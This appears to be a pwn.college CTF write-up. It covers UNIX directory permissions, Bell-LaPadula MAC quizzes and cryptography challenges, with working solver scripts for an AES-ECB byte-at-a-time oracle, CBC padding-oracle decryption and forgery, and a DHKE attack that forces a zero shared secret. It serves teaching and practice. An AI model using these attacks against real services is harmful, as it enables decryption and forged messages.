user_yfuxiagx@access-control~level10:/home/hacker$ cat /flag
pwn.college{********************************************}

level 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.


In this challenge you will work understand how UNIX permissions for directories work with multiple users.

You'll be given access to various user accounts, use su to switch between them.


Created user user_avlnkjwd with password iusiskgn
Created user user_dgfdmvea with password eemamusr
A copy of the flag has been placed somewhere in /tmp:
total 36
drwxrwxrwt 1 root root 4096 Mar 15 08:03 .
drwxr-xr-x 1 root root 4096 Mar 15 08:02 ..
-rw-r--r-- 1 root root 55 Feb 23 16:38 .crates.toml
-rw-r--r-- 1 root root 423 Feb 23 16:38 .crates2.json
drwxr-xr-x 2 hacker hacker 4096 Mar 15 08:02 .dojo
drwxr-xr-x 2 root root 4096 Feb 23 16:38 bin
drwxr-xr-x 1 root root 4096 Feb 23 16:27 hsperfdata_root
drwx------ 2 mysql mysql 4096 Feb 23 16:28 tmp.hYVUanCOAv
dr-xr-x--x 2 root user_avlnkjwd 4096 Mar 15 08:03 tmpt_vsl80s

hacker@access-control~level11:~$ ls -laR /tmp
/tmp:
total 44
drwxrwxrwt 1 root root 4096 Mar 15 08:22 .
drwxr-xr-x 1 root root 4096 Mar 15 08:02 ..
-rw-r--r-- 1 root root 55 Feb 23 16:38 .crates.toml
-rw-r--r-- 1 root root 423 Feb 23 16:38 .crates2.json
drwxr-xr-x 2 hacker hacker 4096 Mar 15 08:02 .dojo
drwxr-xr-x 2 root root 4096 Feb 23 16:38 bin
drwxr-xr-x 1 root root 4096 Feb 23 16:27 hsperfdata_root
drwx------ 2 mysql mysql 4096 Feb 23 16:28 tmp.hYVUanCOAv
dr-xr-x--x 2 root user_nucfmutn 4096 Mar 15 08:18 tmplepswuc7
dr-xr-x--x 2 root user_avlnkjwd 4096 Mar 15 08:03 tmpt_vsl80s
dr-xr-x--x 2 root user_hmjwefql 4096 Mar 15 08:22 tmpy7719id6

/tmp/.dojo:
total 8
drwxr-xr-x 2 hacker hacker 4096 Mar 15 08:02 .
drwxrwxrwt 1 root root 4096 Mar 15 08:22 ..

/tmp/bin:
total 8
drwxr-xr-x 2 root root 4096 Feb 23 16:38 .
drwxrwxrwt 1 root root 4096 Mar 15 08:22 ..

/tmp/hsperfdata_root:
total 40
drwxr-xr-x 1 root root 4096 Feb 23 16:27 .
drwxrwxrwt 1 root root 4096 Mar 15 08:22 ..
-rw------- 1 root root 32768 Feb 23 16:27 5803
ls: cannot open directory '/tmp/tmp.hYVUanCOAv': Permission denied
ls: cannot open directory '/tmp/tmplepswuc7': Permission denied
ls: cannot open directory '/tmp/tmpt_vsl80s': Permission denied
ls: cannot open directory '/tmp/tmpy7719id6': Permission denied
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
su user_avlnkjwd
iusiskgn

user_avlnkjwd@access-control~level11:/home/hacker$ ls -la /tmp/tmpt_vsl80s
total 12
dr-xr-x--x 2 root user_avlnkjwd 4096 Mar 15 08:03 .
drwxrwxrwt 1 root root 4096 Mar 15 08:23 ..
-r--r----- 1 root user_dgfdmvea 58 Mar 15 08:03 tmprd5w9j2_


su user_dgfdmvea
eemamusr

user_dgfdmvea@access-control~level11:/home/hacker$ cat /tmp/tmpt_vsl80s/tmprd5w9j2_
pwn.college{********************************************}

level 12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
hacker@access-control~level12:~$ /challenge/run
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.


In this challenge you will work understand how UNIX permissions for directories work with multiple users.

You'll be given access to various user accounts, use su to switch between them.


Created user user_gjqnizmh with password bwdjjrlm
Created user user_nthuzrvf with password xegnbyhe
Created user user_epjhheho with password zyjwexvo
A copy of the flag has been placed somewhere in /tmp:
total 36
drwxrwxrwt 1 root root 4096 Mar 15 08:27 .
drwxr-xr-x 1 root root 4096 Mar 15 08:27 ..
-rw-r--r-- 1 root root 55 Feb 23 16:38 .crates.toml
-rw-r--r-- 1 root root 423 Feb 23 16:38 .crates2.json
drwxr-xr-x 2 hacker hacker 4096 Mar 15 08:27 .dojo
drwxr-xr-x 2 root root 4096 Feb 23 16:38 bin
drwxr-xr-x 1 root root 4096 Feb 23 16:27 hsperfdata_root
drwx------ 2 mysql mysql 4096 Feb 23 16:28 tmp.hYVUanCOAv
dr-xr-x--x 3 root user_gjqnizmh 4096 Mar 15 08:27 tmps4tklv3g
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
su user_gjqnizmh
bwdjjrlm

user_gjqnizmh@access-control~level12:/home/hacker$ ls -laR /tmp/tmps4tklv3g/
/tmp/tmps4tklv3g/:
total 12
dr-xr-x--x 3 root user_gjqnizmh 4096 Mar 15 08:27 .
drwxrwxrwt 1 root root 4096 Mar 15 08:27 ..
dr-xr-x--x 2 root user_epjhheho 4096 Mar 15 08:27 tmpigihl758
ls: cannot open directory '/tmp/tmps4tklv3g/tmpigihl758': Permission denied

su user_epjhheho
zyjwexvo

ls -laR /tmp/tmps4tklv3g/tmpigihl758

user_epjhheho@access-control~level12:/home/hacker$ ls -laR /tmp/tmps4tklv3g/tmpigihl758
/tmp/tmps4tklv3g/tmpigihl758:
total 12
dr-xr-x--x 2 root user_epjhheho 4096 Mar 15 08:27 .
dr-xr-x--x 3 root user_gjqnizmh 4096 Mar 15 08:27 ..
-r--r----- 1 root user_nthuzrvf 58 Mar 15 08:27 tmpmca6qlsw

su user_nthuzrvf
xegnbyhe

ls -laR /tmp/tmps4tklv3g/tmpigihl758/tmpmca6qlsw

user_nthuzrvf@access-control~level12:/home/hacker$ ls -laR /tmp/tmps4tklv3g/tmpigihl758/tmpmca6qlsw
-r--r----- 1 root user_nthuzrvf 58 Mar 15 08:27 /tmp/tmps4tklv3g/tmpigihl758/tmpmca6qlsw

user_nthuzrvf@access-control~level12:/home/hacker$ cat /tmp/tmps4tklv3g/tmpigihl758/tmpmca6qlsw
pwn.college{********************************************}

Alternative (one-liner approach):

1
2
3
4
5
6
7
8
9
10
11
# Step 1: Peek at the first-level directory
su -c "ls -la /tmp/tmps4tklv3g/" user_gjqnizmh
# (enter first user's password)

# Step 2: Got the directory name, check the second level
su -c "ls -la /tmp/tmps4tklv3g/tmpigihl758/" user_epjhheho
# (enter second user's password)

# Step 3: Got the final filename, read it directly
su -c "cat /tmp/tmps4tklv3g/tmpigihl758/tmpmca6qlsw" user_nthuzrvf
# (enter third user's password, flag is printed)

level 13

MAC (Mandatory Access Control)

BLP (Bell-LaPadula Model)

TS > S > C > UC

Top Secret > Secret > Confidential > Unclassified

Simple Security Property (No Read Up)

Star Property (*-Property) (No Write Down)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.


In this challenge you'll be answering questions about the standard Bell–LaPadula model of Mandatory Access Control.

Answer the question about the model to get the flag.


In this challenge, your goal is to answer 1 questions correctly in 120 seconds about the following Mandatory Access Control (MAC) system:
4 Levels (first is highest aka more sensitive):
TS
S
C
UC
Q 1. Can a Subject with level S write an Object with level S?
yes

pwn.college{********************************************}

Level 14 follows the same approach.

pwn.college{********************************************}

level 15

Category-based

Compartmentalization / “Need-to-Know” principle

NUC - Nuclear ACE - Atomic NATO - North Atlantic Treaty Organization UFO - Unidentified Flying Object

With Categories introduced, a Subject must satisfy both conditions simultaneously to read an Object:

  1. Level check: Subject’s clearance level must be >= Object’s level (No Read Up).
  2. Category coverage: Subject’s category set must be a superset of Object’s category set. In other words, every label on the Object must also be held by the Subject.

Can a Subject with level TS and categories {NATO, UFO} read an Object with level TS and categories {NUC, ACE, NATO, UFO}?

Step 1: Check Level

  • Subject level: TS (Top Secret)
  • Object level: TS (Top Secret)
  • Result: TS ≥ TS, equal rank – level check passes.

Step 2: Check Categories

  • Subject holds: {NATO, UFO}
  • Object requires: {NUC, ACE, NATO, UFO}
  • The Subject is missing {NUC} and {ACE}. Under MAC, missing even a single required category results in Permission denied.
  • Result: {NATO, UFO} ⊉ {NUC, ACE, NATO, UFO}, category check fails.

For Write operations, Bell-LaPadula’s core is the *-Property (Star Property): No Write Down.

With Categories, the rule is inverted: Subject’s categories must be a subset of Object’s categories ().

  1. Subject: Clearance C, categories {NUC} (nuclear secrets). Your mind holds classified nuclear data.
  2. Object: Clearance C, categories {} (empty set). Anyone with C clearance can read this file – no special category authorization needed.
  3. The problem: If you’re allowed to write, you’d dump {NUC}-tagged classified data into a {} file that anyone can read. This causes a downward data leak – other C-level users without {NUC} clearance could read the contaminated file and indirectly access nuclear secrets.

To prevent accidental leaks from a high-compartment zone to a public area: Since Subject’s set {NUC} is not a subset of Object’s set {} ({NUC} ⊈ {}), the write is blocked.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.


In this challenge you'll be answering questions about the category-based Bell–LaPadula model of Mandatory Access Control.

Answer the question about the model to get the flag.


In this challenge, your goal is to answer 1 questions correctly in 120 seconds about the following Mandatory Access Control (MAC) system:
4 Levels (first is highest aka more sensitive):
TS
S
C
UC
4 Categories:
NUC
ACE
NATO
UFO
Q 1. Can a Subject with level TS and categories {NATO, UFO} read an Object with level TS and categories {NUC, ACE, NATO, UFO}?

Level 16 follows the same approach.

pwn.college{********************************************}

level 17

.config -> 17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
def level17():
"""
In this challenge you'll be answering many questions about the category-based Bell–LaPadula model of Mandatory Access Control.

Hint: Use pwntools to interact with this process and answer the questions.
"""
mac_challenge(20, 1, use_flag_seed=False)

def mac_challenge(num_questions, timeout_sec, num_levels=None, num_categories=None, custom_levels=None, custom_categories=None, use_flag_seed=True):
if use_flag_seed:
flag_seed()

categories = custom_categories if custom_categories else CATEGORIES
levels = custom_levels if custom_levels else LEVELS

if num_levels is None:
num_levels = len(levels)

if num_categories is None:
num_categories = len(categories)

assert(num_levels <= len(levels))
assert(num_categories <= len(categories))
assert(num_questions > 0)

random.shuffle(categories)
categories = categories[:num_categories]

random.shuffle(levels)
levels = levels[:num_levels]
levels.sort(reverse=True, key=lambda x: x.level)

max_category_set = 1 << len(categories)

print(f"In this challenge, your goal is to answer {num_questions} questions correctly in {timeout_sec} seconds about the following Mandatory Access Control (MAC) system:")

print(f"{len(levels)} Levels (first is highest aka more sensitive):")

for level in levels:
print(f"{level.name}")

if num_categories != 0:
print(f"{len(categories)} Categories:")
for category in categories:
print(f"{category.name}")

signal.alarm(timeout_sec)

for i in range(num_questions):
subject_index = random.randint(0, num_levels - 1)
subject_set = random.randint(0, max_category_set - 1)
subject_set_str = category_set_to_str(subject_set, categories)

object_index = random.randint(0, num_levels - 1)
object_set = random.randint(0, max_category_set - 1)
object_set_str = category_set_to_str(object_set, categories)

is_read = random.choice([True, False])
action = "read" if is_read else "write"

if i % 4 == 0:
object_index = subject_index

subject = levels[subject_index]
object = levels[object_index]

if num_categories:
print(f"Q {i+1}. Can a Subject with level {subject.name} and categories {subject_set_str} {action} an Object with level {object.name} and categories {object_set_str}?")
else:
print(f"Q {i+1}. Can a Subject with level {subject.name} {action} an Object with level {object.name}?")

answer = input().strip().lower()
if answer not in ["yes", "no"]:
print(f"Error, did not understand your response {answer}, must be yes or no. Goodbye.")
exit(-1)

answer_allowed = (answer == "yes")

is_allowed_by_level = subject.level >= object.level if is_read else object.level >= subject.level
is_allowed = False

if is_allowed_by_level:
if is_read:
is_allowed = is_subset_equal(object_set, subject_set)
else:
is_allowed = is_subset_equal(subject_set, object_set)

if is_allowed == answer_allowed:
print("Correct!")
else:
print("Incorrect!")
exit(-1)

success()
  1. Parsing Levels: The source uses levels.sort(reverse=True) then prints in order, so the first printed level has the highest clearance. We assign decreasing weights in read order.
  2. Parsing Categories: Content inside {} is parsed directly into a Python set.
  3. Decision logic:
  • If read: Subject level Object level, and Subject categories Object categories (issuperset).
  • If write: Subject level Object level, and Subject categories Object categories (issubset).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import re

from pwn import *
from pwn import context, process

context.log_level = "error"


def solve():
p = process("/challenge/run")

p.recvuntil(b"Levels (first is highest aka more sensitive):\n")

# Dynamically parse level weights (first read = highest)
level_map = {}
current_weight = 100

while True:
line = p.recvline().decode().strip()
if "Categories:" in line or line.startswith("Q 1"):
break
if line:
level_map[line] = current_weight
current_weight -= 1

for i in range(20):
p.recvuntil(b"Q ")
question = p.recvline().decode().strip()

# Match: level [S] and categories [{...}] [read/write] an Object with level [C] and categories [{...}]?
match = re.search(
r"level (.*?) and categories \{(.*?)\} (read|write) an Object with level (.*?) and categories \{(.*?)\}\?",
question,
)

sub_lvl = match.group(1)
sub_cats_str = match.group(2)
action = match.group(3)
obj_lvl = match.group(4)
obj_cats_str = match.group(5)

# Convert to Python set
sub_cats = set(filter(None, [x.strip() for x in sub_cats_str.split(",")]))
obj_cats = set(filter(None, [x.strip() for x in obj_cats_str.split(",")]))

sub_weight = level_map[sub_lvl]
obj_weight = level_map[obj_lvl]

is_allowed = False

if action == "read":
if sub_weight >= obj_weight and sub_cats.issuperset(obj_cats):
is_allowed = True
elif action == "write":
if sub_weight <= obj_weight and sub_cats.issubset(obj_cats):
is_allowed = True

if is_allowed:
p.sendline(b"yes")
else:
p.sendline(b"no")

p.recvline()

print("[+] MAC Engine bypassed successfully.")
p.interactive()


if __name__ == "__main__":
solve()

cryptography

aes

ecb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import string

import requests
from pwn import *
from pwn import b64d, context, log

# AES-ECB: 16 bytes (128 bits) per block, PKCS#7 padding

context.log_level = "info"

URL = "http://challenge.localhost"
charset = string.printable.strip()

log.info("Start")

result = b""

block_size = 16

# b"A|flag{arch_linux_is_the_best_distro}"


def send_data(data):
r = requests.post(URL, data={"content": data + "A"})
if r.status_code != 200:
exit()


def cleanup():
r = requests.post(URL + "/reset")
if r.status_code != 200:
exit()


def send_part_of_flag(data):
send_data(data.decode("latin1"))
# <b>Encrypted backup:</b><pre>{b64encode(ct).decode()}</pre>
r = requests.get(URL)
a = r.text.split("<b>Encrypted backup:</b><pre>")[1].split("</pre>")[0]
b = b64d(a)
cleanup()
return b


for i in range(1, 60):
block_idx = (i - 1) // block_size
pad_len = (block_size - i) % block_size
padding = b"A" * pad_len

ct = send_part_of_flag(padding)

target_block = ct[block_idx * 16 : (block_idx + 1) * 16]

for c in charset:
c = c.encode()
ct2 = send_part_of_flag(padding + result + c)
guess_block = ct2[block_idx * 16 : (block_idx + 1) * 16]
if guess_block == target_block:
log.success(f"Found: {c} at {i}")
result = result + c
break

print(result)

cbc

POA - Decrypt

Padding Oracle Attack (POA),专门针对 AES 算法的 CBC(密码分组链接)模式。

在 CBC 解密模式中,密文被分成 16 字节的块。当前密文块 Cn 先经过 AES 核心解密函数,得到一个中间值 (Intermediate Value) In。然后,In 必须和前一个密文块 Cn − 1(或者第一块的 IV)进行异或 (XOR),才能得到最终的明文 Pn

数学表示非常简单,这也是整个攻击的核心公式:

Pn = In ⊕ Cn − 1

服务端在解密后会检查 PKCS#7 填充是否合法(比如缺少 1 个字节就是 0x01,缺 2 个就是 0x02 0x02)。如果我们篡改了密文发过去,服务端解密后发现 padding 不对报错返回信息如 “Error”,发现 padding 对了就正常返回。服务端这个“只告诉你对不对,不告诉你为什么”的行为,就被视作 Oracle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from Crypto.Util.Padding import unpad
from pwn import *
from pwn import log, process, unhex, xor

# CBC mode - Padding Oracle Attack (Decrypt)

def get_encrypted_password():
p = process(["/challenge/dispatcher", "flag"])
p.recvuntil(b"TASK: ")
res = unhex(p.recvline().strip())
p.close()
return res


def check_padding(p_worker, iv_test, cipher_block):
payload = (iv_test + cipher_block).hex()
p_worker.sendline(f"TASK: {payload}".encode())
response = p_worker.recvline().decode()
return "Error" not in response


log.info("Start")

target_data = get_encrypted_password()
blocks = [target_data[i : i + 16] for i in range(0, len(target_data), 16)]
p_worker = process(["/challenge/worker"])

recovered_plaintext = b""

for block_idx in range(1, len(blocks)):
current_cipher_block = blocks[block_idx]
original_prev_block = blocks[block_idx - 1]

intermediate_value = bytearray(16)

# 从块的最后一个字节向前爆破 (15 down to 0)
for pad_val in range(1, 17):
idx = 16 - pad_val

for guess in range(256):
# 构造用于测试的伪造前一块 (C'_{n-1})
test_iv = bytearray(16)

# 填充已经爆破出的中间值字节,使其异或后等于当前 pad_val
for i in range(idx + 1, 16):
test_iv[i] = intermediate_value[i] ^ pad_val

# 将我们当前的猜测放入 target 字节
test_iv[idx] = guess

if check_padding(p_worker, bytes(test_iv), current_cipher_block):
# 找到了正确的 guess,由于我们可能有 0x01 的伪正例,严谨起见需要进一步校验(此处从简)
intermediate_value[idx] = guess ^ pad_val
print(f"[+] Found byte {idx}: {hex(intermediate_value[idx])}")
break

# P_n = Intermediate_n \oplus C_{n-1}
decrypted_block = xor(bytes(intermediate_value), original_prev_block)
recovered_plaintext += decrypted_block
print(f"[*] Decrypted block {block_idx}: {decrypted_block}")

# 去除 PKCS#7 padding
final_password = unpad(recovered_plaintext, 16).decode("latin1")
print(f"\n[!] Extracted Password: {final_password}")

POA - Encrypt

在 CBC 模式下,解密的本质是:

Pn = DK(Cn) ⊕ Cn − 1

利用 Padding Oracle Attack,我们可以爆破出某个密文块的中间状态 In

In = DK(Cn)

既然 In 是固定的(仅由 Cn 和你无法获取的 Key 决定),那么只要我们能完全控制前一个密文块 Cn − 1,我们就能随心所欲地控制解密出的明文 Pn!公式如下:

Cn − 1 = In ⊕ Ptarget

解决思路: 从目标明文的最后一个 block 开始倒推:

  1. 随机生成一个垃圾 block 作为最后一个密文块 CN
  2. 利用 Padding Oracle 算出 CN 的中间值 IN
  3. 利用 IN 和你想要的明文 PN,计算出前一个密文块 CN − 1
  4. CN − 1 作为新的目标块,重复上述步骤,直到你算出最前面的 IV
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# worker
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes

import time
import sys

key = open("/challenge/.key", "rb").read()

while line := sys.stdin.readline():
if not line.startswith("TASK: "):
continue
data = bytes.fromhex(line.split()[1])
iv, ciphertext = data[:16], data[16:]

cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
try:
plaintext = unpad(cipher.decrypt(ciphertext), cipher.block_size).decode('latin1')
except ValueError as e:
print("Error:", e)
continue

if plaintext == "sleep":
print("Sleeping!")
time.sleep(1)
elif plaintext == "please give me the flag, kind worker process!":
print("Victory! Your flag:")
print(open("/flag").read())
else:
print("Unknown command!")

# dispatcher
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

key = open("/challenge/.key", "rb").read()
cipher = AES.new(key=key, mode=AES.MODE_CBC)
ciphertext = cipher.iv + cipher.encrypt(pad(b"sleep", cipher.block_size))

print(f"TASK: {ciphertext.hex()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import os

from pwn import *
from pwn import log, process, xor

# CBC mode - Padding Oracle Attack (Encrypt)


def check_padding(p_worker, iv_test, cipher_block):
payload = (iv_test + cipher_block).hex()
p_worker.sendline(f"TASK: {payload}".encode())
response = p_worker.recvline().decode()
return "Error" not in response


log.info("Start")

p_worker = process(["/challenge/worker"])

target_message = b"please give me the flag, kind worker process!"
target_message = pad(target_message, 16)
message_blocks = [target_message[i : i + 16] for i in range(0, len(target_message), 16)]

forged_ciphertext = [os.urandom(16)]

# 逆向遍历目标明文块
for block_idx, p_block in enumerate(reversed(message_blocks)):
log.info(
f"Forging block {len(message_blocks) - block_idx} / {len(message_blocks)}..."
)
current_cipher_block = forged_ciphertext[0]
intermediate_value = bytearray(16)

# 爆破 16 个 byte
for pad_val in range(1, 17):
idx = 16 - pad_val
found = False

for guess in range(256):
test_iv = bytearray(16)
# 填充已知的中间值,构造所需的 padding
for i in range(idx + 1, 16):
test_iv[i] = intermediate_value[i] ^ pad_val

test_iv[idx] = guess

if check_padding(p_worker, bytes(test_iv), current_cipher_block):
# 处理 padding=1 时的 false positive
# 如果你爆破 `idx = 15` 时,原密文的解密结果恰好是 `0x02 0x02`,就会因为误判 `0x01` 成功。
if pad_val == 1:
test_iv[idx - 1] ^= 1
if not check_padding(
p_worker, bytes(test_iv), current_cipher_block
):
continue

intermediate_value[idx] = guess ^ pad_val
found = True
break

if not found:
log.error("Fail")
exit(1)

prev_cipher_block = xor(bytes(intermediate_value), p_block)
forged_ciphertext.insert(0, prev_cipher_block)

iv = forged_ciphertext[0]
final_ciphertext = b"".join(forged_ciphertext[1:])
final_payload = (iv + final_ciphertext).hex()

log.success("Payload forged successfully. Sending to worker...")
p_worker.sendline(f"TASK: {final_payload}".encode())

print(p_worker.recvall(timeout=2).decode())
1
2
3
4
5
6
7
8
9
10
[*] Start
[+] Starting local process '/challenge/worker': pid 185
[*] Forging block 3 / 3...
[*] Forging block 2 / 3...
[*] Forging block 1 / 3...
[+] Payload forged successfully. Sending to worker...
[+] Receiving all data: Done (79B)
[*] Stopped process '/challenge/worker' (pid 185)
Victory! Your flag:
pwn.college{IWMb6al3m7LNcJmiBAyOUdRv2Kh.dFDN3kDL4cjM1gzW}

Asymmetric Encryption

DHKE

Diffie-Hellman Key Exchange

1. 公共参数 (The Public Info)

Alice 和 Bob 首先要在公网上明文敲定一个巨大的质数 p 和一个原根 g。因为它们在有限域 (Finite Field,即基于 modulo p 的环境) 中定义了接下来所有运算的规则。Eve 完全可以看到这两个数字。

2. 私钥 (The Private Keys)

接着,两人各自在本地生成一个绝对保密的随机数——Alice 的是 a,Bob 的是 b

3. 计算并交换公钥 (Public Keys)

接下来是在终端里跑计算的时候了:

  • Alice 计算: A = ga (mod  p)
  • Bob 计算: B = gb (mod  p)

算完之后,他们把 AB 明文扔到网络上交换。

4. 离散对数难题 (Discrete Logarithm)

现在,Eve 手里有 p, g, A, 和 B

如果这是普通的实数域,用高中学的对数函数就能反推出 ab。但是在有限域里,因为有一个 modulo p 的存在,数值会在 0p − 1 之间无限循环。这被称为“离散对数难题”。

  • Alice 拿到了 Bob 的公钥 B,计算:s = Ba (mod  p)
  • Bob 拿到了 Alice 的公钥 A,计算:s = Ab (mod  p)

让我们用一点初中数学展开它:

s = (gb)a (mod  p) = gab (mod  p) = (ga)b (mod  p)

Alice 和 Bob 得到了完全一致的 s!这个 s 就是他们接下来用来跑 AES 的对称密钥。

在这个体系里,AB 被称为 public keys,ab 则是 private keys。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 2048-bit MODP Group from RFC3526
pro = int.from_bytes(
bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
),
"big",
)
g = 2
print(f"p = {pro:#x}")
print(f"g = {g:#x}")

a = getrandbits(2048)
A = pow(g, a, pro)
print(f"A = {A:#x}")

try:
B = int(input("B? "), 16)
except ValueError:
print("Invalid B value (not a hex number)", file=sys.stderr)
sys.exit(1)
if B <= 2**1024:
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
sys.exit(1)

s = pow(B, a, pro)
try:
if int(input("s? "), 16) == s:
print("Correct! Here is your flag:")
print(open("/flag").read())
else:
print("Incorrect... Should have been:", file=sys.stderr)
print(f"s = {s:#x}")
except ValueError:
print("Invalid s value (not a hex number)", file=sys.stderr)
sys.exit(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from pwn import log, process

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

log.info("START")

pro.recvuntil(b"p = ")
p = int(pro.recvline().strip(), 16)

pro.recvuntil(b"g = ")
g = int(pro.recvline().strip(), 16)

pro.recvuntil(b"A = ")
A = int(pro.recvline().strip(), 16)

B = p
pro.recvuntil(b"B? ")
pro.sendline(f"{B:#x}")

s = 0
pro.recvuntil(b"s? ")
pro.sendline(f"{s:#x}")

pro.interactive()

DHKE to AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random.random import getrandbits

flag = open("/flag", "rb").read()
assert len(flag) <= 256

# 2048-bit MODP Group from RFC3526
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2
print(f"p = {p:#x}")
print(f"g = {g:#x}")

a = getrandbits(2048)
A = pow(g, a, p)
print(f"A = {A:#x}")

try:
B = int(input("B? "), 16)
except ValueError:
print("Invalid B value (not a hex number)", file=sys.stderr)
sys.exit(1)
if B <= 2**1024:
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
sys.exit(1)

s = pow(B, a, p)
key = s.to_bytes(256, "little")[:16]

# friendship ended with DHKE, AES is my new best friend
cipher = AES.new(key=key, mode=AES.MODE_CBC)
flag = open("/flag", "rb").read()
ciphertext = cipher.iv + cipher.encrypt(pad(flag, cipher.block_size))
print(f"Flag Ciphertext (hex): {ciphertext.hex()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Cipher import AES
from pwn import *
from pwn import log, process, unhex

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

log.info("START")

pro.recvuntil(b"p = ")
p = int(pro.recvline().strip(), 16)

pro.recvuntil(b"g = ")
g = int(pro.recvline().strip(), 16)

pro.recvuntil(b"A = ")
A = int(pro.recvline().strip(), 16)

B = p
pro.recvuntil(b"B? ")
pro.sendline(f"{B:#x}")

s = 0
key = s.to_bytes(256, "little")[:16]


pro.recvuntil(b"Flag Ciphertext (hex): ")
ciphertext = unhex(pro.readline().strip())

cipher = AES.new(key=key, mode=AES.MODE_CBC)

flag = cipher.decrypt(ciphertext)

print(flag)

pro.interactive()

RSA 1

Rivest-Shamir-Adleman

Alice 首先在后台静默生成两个大素数 pq 然后将它们相乘:

n = p × q

